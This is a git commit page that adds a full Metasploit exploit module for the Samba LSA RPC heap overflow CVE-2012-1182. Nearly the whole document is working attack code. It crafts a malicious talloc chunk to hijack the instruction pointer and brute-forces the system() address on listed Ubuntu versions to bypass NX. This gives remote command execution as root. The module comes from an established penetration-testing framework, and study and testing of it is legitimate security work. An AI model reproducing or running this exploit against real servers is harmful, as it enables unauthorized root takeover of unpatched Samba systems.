Added module for Samba CVE-2012-1182
parent
60b4190e4a
commit
9d3a1871a6
|
@ -0,0 +1,306 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = NormalRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::DCERPC
|
||||||
|
include Msf::Exploit::Remote::SMB
|
||||||
|
include Msf::Exploit::Brute
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Samba SetInformationPolicy AuditEventsInfo Heap Overflow',
|
||||||
|
'Description' => %q{
|
||||||
|
This module triggers a vulnerability in the LSA RPC service of the Samba daemon
|
||||||
|
because of an error on the PIDL auto-generated code. Making a specially crafted
|
||||||
|
call to SetInformationPolicy to set a PolicyAuditEventsInformation allows to
|
||||||
|
trigger a heap overflow and finally execute arbitrary code with root privileges.
|
||||||
|
|
||||||
|
The module uses brute force to guess the system() address and redirect flow there
|
||||||
|
in order to bypass NX. The start and stop addresses for brute forcing have been
|
||||||
|
calculated empirically. On the other hand the module provides the StartBrute and
|
||||||
|
StopBrute which allow the user to configure his own addresses.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Unknown', # Vulnerability discovery
|
||||||
|
'blasty', # Exploit
|
||||||
|
'sinn3r', # Metasploit module
|
||||||
|
'juan vazquez' # Metasploit module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2012-1182'],
|
||||||
|
['OSVDB', '81303'],
|
||||||
|
['BID', '52973'],
|
||||||
|
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-069/']
|
||||||
|
],
|
||||||
|
'Privileged' => true,
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'DisableNops' => true,
|
||||||
|
'Space' => 811,
|
||||||
|
'Compat' =>
|
||||||
|
{
|
||||||
|
'PayloadType' => 'cmd',
|
||||||
|
'RequiredCmd' => 'generic bash telnet python perl',
|
||||||
|
}
|
||||||
|
},
|
||||||
|
'Platform' => 'unix',
|
||||||
|
'Arch' => ARCH_CMD,
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
# gdb /usr/sbin/smbd `ps auwx | grep smbd | grep -v grep | head -n1 | awk '{ print $2 }'` <<< `echo -e "print system"` | grep '$1'
|
||||||
|
['2:3.5.11~dfsg-1ubuntu2 and 2:3.5.8~dfsg-1ubuntu2 on Ubuntu 11.10',
|
||||||
|
{
|
||||||
|
'Offset' => 0x11c0,
|
||||||
|
'Bruteforce' =>
|
||||||
|
{
|
||||||
|
# The start for the final version should be 0xb20 aligned, and then step 0x1000.
|
||||||
|
'Start' => { 'Ret' => 0x00230b20 },
|
||||||
|
'Stop' => { 'Ret' => 0x22a00b20 },
|
||||||
|
'Step' => 0x1000,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
],
|
||||||
|
['2:3.5.8~dfsg-1ubuntu2 and 2:3.5.4~dfsg-1ubuntu8 on Ubuntu 11.04',
|
||||||
|
{
|
||||||
|
'Offset' => 0x11c0,
|
||||||
|
'Bruteforce' =>
|
||||||
|
{
|
||||||
|
# The start should be 0x950 aligned, and then step 0x1000.
|
||||||
|
'Start' => { 'Ret' => 0x00230950 },
|
||||||
|
'Stop' => { 'Ret' => 0x22a00950 },
|
||||||
|
'Step' => 0x1000,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
],
|
||||||
|
['2:3.5.4~dfsg-1ubuntu8 on Ubuntu 10.10',
|
||||||
|
{
|
||||||
|
'Offset' => 0x11c0,
|
||||||
|
'Bruteforce' =>
|
||||||
|
{
|
||||||
|
# The start should be 0x680 aligned, and then step 0x1000.
|
||||||
|
'Start' => { 'Ret' => 0x00230680 },
|
||||||
|
'Stop' => { 'Ret' => 0x22a00680 },
|
||||||
|
'Step' => 0x1000,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
]
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Apr 10 2012',
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
OptInt.new("StartBrute", [ false, "Start Address For Brute Forcing" ]),
|
||||||
|
OptInt.new("StopBrute", [ false, "Stop Address For Brute Forcing" ])
|
||||||
|
], self.class)
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
if target.bruteforce?
|
||||||
|
bf = target.bruteforce
|
||||||
|
|
||||||
|
if datastore['StartBrute'] and datastore['StartBrute'] > 0
|
||||||
|
bf.start_addresses['Ret'] = datastore['StartBrute']
|
||||||
|
end
|
||||||
|
|
||||||
|
if datastore['StopBrute'] and datastore['StopBrute'] > 0
|
||||||
|
bf.stop_addresses['Ret'] = datastore['StopBrute']
|
||||||
|
end
|
||||||
|
|
||||||
|
if bf.start_addresses['Ret'] > bf.stop_addresses['Ret']
|
||||||
|
raise ArgumentError, "StartBrute should not be larger than StopBrute"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
super
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
begin
|
||||||
|
connect()
|
||||||
|
smb_login()
|
||||||
|
disconnect()
|
||||||
|
if (smb_peer_lm() =~ /Samba/i)
|
||||||
|
return CheckCode::Detected
|
||||||
|
else
|
||||||
|
return CheckCode::Safe
|
||||||
|
end
|
||||||
|
rescue ::Exception
|
||||||
|
return CheckCode::Safe
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def brute_exploit(target_addrs)
|
||||||
|
|
||||||
|
print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])
|
||||||
|
datastore['DCERPC::fake_bind_multi'] = false
|
||||||
|
datastore['DCERPC::max_frag_size'] = 4248
|
||||||
|
|
||||||
|
pipe = "lsarpc"
|
||||||
|
|
||||||
|
print_status("Connecting to the SMB service...")
|
||||||
|
connect()
|
||||||
|
print_status("Login to the SMB service...")
|
||||||
|
smb_login()
|
||||||
|
|
||||||
|
handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
|
||||||
|
print_status("Binding to #{handle} ...")
|
||||||
|
dcerpc_bind(handle)
|
||||||
|
print_status("Bound to #{handle} ...")
|
||||||
|
|
||||||
|
stub = "X" * 20
|
||||||
|
|
||||||
|
cmd = ";;;;" # padding
|
||||||
|
cmd << "#{payload.encoded}\x00" # system argument
|
||||||
|
tmp = cmd * (816/cmd.length)
|
||||||
|
tmp << "\x00"*(816-tmp.length)
|
||||||
|
|
||||||
|
stub << NDR.short(2) # level
|
||||||
|
stub << NDR.short(2) # level 2
|
||||||
|
stub << NDR.long(1) # auditing mode
|
||||||
|
stub << NDR.long(1) # ptr
|
||||||
|
stub << NDR.long(100000) # r-> count
|
||||||
|
stub << NDR.long(20) # array size
|
||||||
|
stub << NDR.long(0)
|
||||||
|
stub << NDR.long(100)
|
||||||
|
stub << rand_text_alpha(target['Offset'])
|
||||||
|
# Crafted talloc chunk
|
||||||
|
stub << 'A' * 8 # next, prev
|
||||||
|
stub << NDR.long(0) + NDR.long(0) # parent, child
|
||||||
|
stub << NDR.long(0) # refs
|
||||||
|
stub << NDR.long(target_addrs['Ret']) # destructor # will become EIP
|
||||||
|
stub << NDR.long(0) # name
|
||||||
|
stub << "AAAA" # size
|
||||||
|
stub << NDR.long(0xe8150c70) # flags
|
||||||
|
stub << "AAAABBBB"
|
||||||
|
stub << tmp # pointer to tmp+4 in $esp
|
||||||
|
stub << rand_text(32632)
|
||||||
|
stub << rand_text(62000)
|
||||||
|
|
||||||
|
print_status("Calling the vulnerable function...")
|
||||||
|
|
||||||
|
begin
|
||||||
|
call(dcerpc, 0x08, stub)
|
||||||
|
rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
|
||||||
|
print_status('Server did not respond, this is expected')
|
||||||
|
rescue Rex::Proto::DCERPC::Exceptions::Fault
|
||||||
|
print_error('Server is most likely patched...')
|
||||||
|
rescue => e
|
||||||
|
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
|
||||||
|
print_status('Server disconnected, this is expected')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
handler
|
||||||
|
disconnect
|
||||||
|
end
|
||||||
|
|
||||||
|
# Perform a DCE/RPC Function Call
|
||||||
|
def call(dcerpc, function, data, do_recv = true)
|
||||||
|
|
||||||
|
frag_size = data.length
|
||||||
|
if dcerpc.options['frag_size']
|
||||||
|
frag_size = dcerpc.options['frag_size']
|
||||||
|
end
|
||||||
|
object_id = ''
|
||||||
|
if dcerpc.options['object_call']
|
||||||
|
object_id = dcerpc.handle.uuid[0]
|
||||||
|
end
|
||||||
|
if options['random_object_id']
|
||||||
|
object_id = Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16))
|
||||||
|
end
|
||||||
|
|
||||||
|
call_packets = make_request(function, data, frag_size, dcerpc.context, object_id)
|
||||||
|
call_packets.each { |packet|
|
||||||
|
write(dcerpc, packet)
|
||||||
|
}
|
||||||
|
|
||||||
|
return true if not do_recv
|
||||||
|
|
||||||
|
raw_response = ''
|
||||||
|
|
||||||
|
begin
|
||||||
|
raw_response = dcerpc.read()
|
||||||
|
rescue ::EOFError
|
||||||
|
raise Rex::Proto::DCERPC::Exceptions::NoResponse
|
||||||
|
end
|
||||||
|
|
||||||
|
if (raw_response == nil or raw_response.length == 0)
|
||||||
|
raise Rex::Proto::DCERPC::Exceptions::NoResponse
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
dcerpc.last_response = Rex::Proto::DCERPC::Response.new(raw_response)
|
||||||
|
|
||||||
|
if dcerpc.last_response.type == 3
|
||||||
|
e = Rex::Proto::DCERPC::Exceptions::Fault.new
|
||||||
|
e.fault = dcerpc.last_response.status
|
||||||
|
raise e
|
||||||
|
end
|
||||||
|
|
||||||
|
dcerpc.last_response.stub_data
|
||||||
|
end
|
||||||
|
|
||||||
|
# Used to create standard DCERPC REQUEST packet(s)
|
||||||
|
def make_request(opnum=0, data="", size=data.length, ctx=0, object_id = '')
|
||||||
|
|
||||||
|
opnum = opnum.to_i
|
||||||
|
size = size.to_i
|
||||||
|
ctx = ctx.to_i
|
||||||
|
|
||||||
|
chunks, frags = [], []
|
||||||
|
ptr = 0
|
||||||
|
|
||||||
|
# Break the request into fragments of 'size' bytes
|
||||||
|
while ptr < data.length
|
||||||
|
chunks.push( data[ ptr, size ] )
|
||||||
|
ptr += size
|
||||||
|
end
|
||||||
|
|
||||||
|
# Process requests with no stub data
|
||||||
|
if chunks.length == 0
|
||||||
|
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, '', ctx, object_id) )
|
||||||
|
return frags
|
||||||
|
end
|
||||||
|
|
||||||
|
# Process requests with only one fragment
|
||||||
|
if chunks.length == 1
|
||||||
|
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, chunks[0], ctx, object_id) )
|
||||||
|
return frags
|
||||||
|
end
|
||||||
|
|
||||||
|
# Create the first fragment of the request
|
||||||
|
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(1, opnum, chunks.shift, ctx, object_id) )
|
||||||
|
|
||||||
|
# Create all of the middle fragments
|
||||||
|
while chunks.length != 1
|
||||||
|
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(0, opnum, chunks.shift, ctx, object_id) )
|
||||||
|
end
|
||||||
|
|
||||||
|
# Create the last fragment of the request
|
||||||
|
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(2, opnum, chunks.shift, ctx, object_id) )
|
||||||
|
|
||||||
|
return frags
|
||||||
|
end
|
||||||
|
|
||||||
|
# Write data to the underlying socket
|
||||||
|
def write(dcerpc, data)
|
||||||
|
dcerpc.socket.write(data)
|
||||||
|
data.length
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
Loading…
Reference in New Issue